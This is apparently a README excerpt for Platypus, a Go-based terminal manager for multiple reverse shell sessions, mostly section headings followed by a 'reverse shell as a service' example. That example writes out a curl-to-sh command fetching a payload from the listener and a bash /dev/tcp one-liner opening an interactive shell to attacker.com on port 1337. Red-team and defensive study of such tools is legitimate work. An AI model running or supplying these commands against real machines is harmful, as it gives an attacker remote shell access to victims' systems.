A modern multiple reverse shell sessions/clients manager via terminal written in go.

Features

Screenshot

Network Topology

Run Platypus from source code

Run Platypus from release binaries

Victim side

Reverse shell as a Service

// Platypus is able to multiplexing the reverse shell listening port // The port 8080 can receive reverse shell client connection // Also these is a Reverse shell as a service running on this port // victim will be redirected to attacker-host attacker-port // sh -c "$(curl http://host:port/attacker-host/attacker-port)" # curl http://192.168.1.2:8080/attacker.com/1337 bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1' # sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"